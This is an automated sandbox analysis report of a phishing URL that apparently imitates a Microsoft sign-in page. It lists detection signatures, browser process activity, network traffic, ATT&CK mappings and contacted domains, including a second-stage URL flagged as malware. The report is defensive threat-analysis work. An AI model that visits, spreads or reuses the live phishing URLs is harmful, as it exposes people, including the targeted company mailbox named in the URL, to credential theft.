Edit tour

Windows Analysis Report
https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com

Overview

General Information

Sample URL:	https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com
Analysis ID:	1573296
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Form action URLs do not match main URL

HTML body contains low number of good links

HTML title does not match URL

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4500 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2024,i,11499263350525860480,3344965583219318867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3249sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: .WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYivsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 18:22:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e0FxzyucBHcc6MhBQbLs4h9%2BvyrFIArF1TTf8srpJe4LTRZTBh3kHycVDdgQ2GJ9HbdJb6%2B1Io9JqFPPS8beulWRyZxn0LKFfqA1J5nt4ho6M1HaIhMynEnP7Dm%2BYQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1678&rtt_var=550&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2245&delivery_rate=2159103&cwnd=252&unsent_bytes=0&cid=1d1d8e5ab3c69752&ts=315&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8f077fe88fb15e6c-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1624&min_rtt=1618&rtt_var=619&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1909&delivery_rate=1749550&cwnd=237&unsent_bytes=0&cid=17f384b8a061b86c&ts=9528&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 18:22:25 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: dFjrHjdn5x7hDnGLZcAEg3Pr99RB1BfvSYk=$sIx4LfDLs+qa6T/AServer: cloudflareCF-RAY: 8f0780011d1043c8-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 18:22:32 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: EAp/tLqKtmf2Qk67YAKuZyFCI5Mx1nwaZdc=$MiXBBLTF2rZB9BAQServer: cloudflareCF-RAY: 8f078029ed7472aa-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 18:22:39 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: o0D6ZFdfaGQvO1LxVriFmDYkdOLN6PD2W3w=$zoTXpAXzLT3wQhEncache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f078058e91c43d9-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_222.2.dr, chromecache_260.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_222.2.dr, chromecache_260.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_239.2.dr	String found in binary or memory: https://client.hsprotect.net/PXzC5j78di/main.min.js
Source: chromecache_222.2.dr, chromecache_260.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_184.2.dr	String found in binary or memory: https://storage.googleapis.com/workbox-cdn/releases/3.6.3

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal52.win@24/177@82/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2024,i,11499263350525860480,3344965583219318867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2024,i,11499263350525860480,3344965583219318867,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://18qdy4sm2g.lomidore.ru/favicon.ico	0%	Avira URL Cloud	safe
https://18qdy4sm2g.lomidore.ru/baSDU4o/	0%	Avira URL Cloud	safe
https://o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru/4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
18qdy4sm2g.lomidore.ru	172.67.215.131	true	true	unknown
sni1gl.wpc.alphacdn.net	152.199.21.175	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	104.21.32.251	true	false	unknown
ooc-g2.tm-4.office.com	40.99.70.178	true	false	high
code.jquery.com	151.101.194.137	true	false	high
inbound-weighted.protechts.net	35.190.10.96	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.68	true	false	high
stk.hsprotect.net	34.107.199.61	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.office.com	unknown	unknown	false	high
signup.live.com	unknown	unknown	false	high
outlook.office.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
collector-pxzc5j78di.hsprotect.net	unknown	unknown	false	high
substrate.office.com	unknown	unknown	false	high
logincdn.msftauth.net	unknown	unknown	false	high
m365cdn.nel.measure.office.net	unknown	unknown	false	high
mem.gfx.ms	unknown	unknown	false	high
client.hsprotect.net	unknown	unknown	false	high
msft.hsprotect.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
fpt.live.com	unknown	unknown	false	high
portal.office.com	unknown	unknown	false	high
acctcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.office.com/	false		high
https://logincdn.msftauth.net/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://acctcdn.msftauth.net/images/favicon.ico?v=2	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=e0FxzyucBHcc6MhBQbLs4h9%2BvyrFIArF1TTf8srpJe4LTRZTBh3kHycVDdgQ2GJ9HbdJb6%2B1Io9JqFPPS8beulWRyZxn0LKFfqA1J5nt4ho6M1HaIhMynEnP7Dm%2BYQ%3D%3D	false		high
https://18qdy4sm2g.lomidore.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f077fd7ad501889&lang=auto	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js	false		high
https://o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru/4306172799134194766bHeUEqXjUGTCLUWUEHYLDBTSPCAKAHEQGIMSXBUAZQAESKHKFEVOBMX	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8f077fd7ad501889/1733941343090/xw4d4iYvwLWLQe7	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8f077fd7ad501889/1733941343085/cb9a51fd2b08916948ca4f0157021a0ca904a5ac76e00f68105c469793778fbd/vXBz1MTwnqCZRPO	false		high
https://stk.hsprotect.net/ns?c=034720e0-b7ed-11ef-962d-31c5277a04c3	false		high
https://18qdy4sm2g.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com	false		unknown
https://logincdn.msftauth.net/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	false		high
https://collector-pxzc5j78di.hsprotect.net/api/v2/msft	false		high
https://logincdn.msftauth.net/shared/5/js/signup-fabric_en_OJFs58U2IbmTee9AgFWvyg2.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://logincdn.msftauth.net/16.000/content/js/MeControl_yl3C2NknpDMsGqlCvzLtmA2.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false		high
https://logincdn.msftauth.net/shared/5/images/2_bc3d32a696895f78c19d.svg	false		high
https://18qdy4sm2g.lomidore.ru/baSDU4o/	true	Avira URL Cloud: safe	unknown
https://signup.live.com/signup?mkt=en-US&uiflavor=web&lw=1&fl=easi2&client_id=4345a7b9-9a63-4910-a426-35363201d503&wreply=https%3a%2f%2fwww.office.com%2f%3fauth%3d1%26from%3dOdotComFreeSignup&lic=1&uaid=d998a0ce24aa4721bfd029fd7f160c70	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://knockoutjs.com/	chromecache_222.2.dr, chromecache_260.2.dr	false	high
https://client.hsprotect.net/PXzC5j78di/main.min.js	chromecache_239.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_222.2.dr, chromecache_260.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_222.2.dr, chromecache_260.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.190.10.96	inbound-weighted.protechts.net	United States	15169	GOOGLEUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.215.131	18qdy4sm2g.lomidore.ru	United States	13335	CLOUDFLARENETUS	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
34.107.199.61	stk.hsprotect.net	United States	15169	GOOGLEUS	false
104.21.32.251	o3hqggd31yjdse7eyaddwl8ujyzpezhvxa06xj60zhhmybhlmti0jv.ezmbsgzm.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.alphacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573296
Start date and time:	2024-12-11 19:21:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://18QDy4sM2G.lomidore.ru/baSDU4o/#Daccounting@harborwholesale.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@24/177@82/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 64.233.162.84, 172.217.17.46, 217.20.56.102, 192.229.221.95, 13.107.6.156, 20.190.181.2, 40.126.53.17, 40.126.53.16, 20.190.181.3, 40.126.53.18, 40.126.53.21, 20.190.181.0, 40.126.53.19, 184.30.21.171, 104.126.36.248, 104.126.37.9, 20.20.44.224, 20.20.44.160, 20.20.44.97, 52.109.68.87, 20.199.58.43, 104.121.26.245, 2.16.1.179, 2.16.1.171, 20.190.181.5, 20.190.181.6, 40.126.53.12, 40.126.53.13, 40.126.53.9, 20.231.128.65, 40.126.53.7, 20.231.128.66, 20.231.128.67, 13.89.179.10, 172.217.17.35, 13.107.42.22, 40.126.53.8, 40.126.53.11, 40.126.53.6, 172.217.19.234, 172.217.21.42, 216.58.208.234, 142.250.181.106, 172.217.17.74, 172.217.19.170, 172.217.17.42, 142.250.181.138, 172.217.19.202, 172.217.19.10, 2.19.198.251, 104.126.37.227, 23.32.238.209, 23.32.238.185, 52.167.30.171, 23.218.208.109, 4.175.87.197, 13.107.246.63
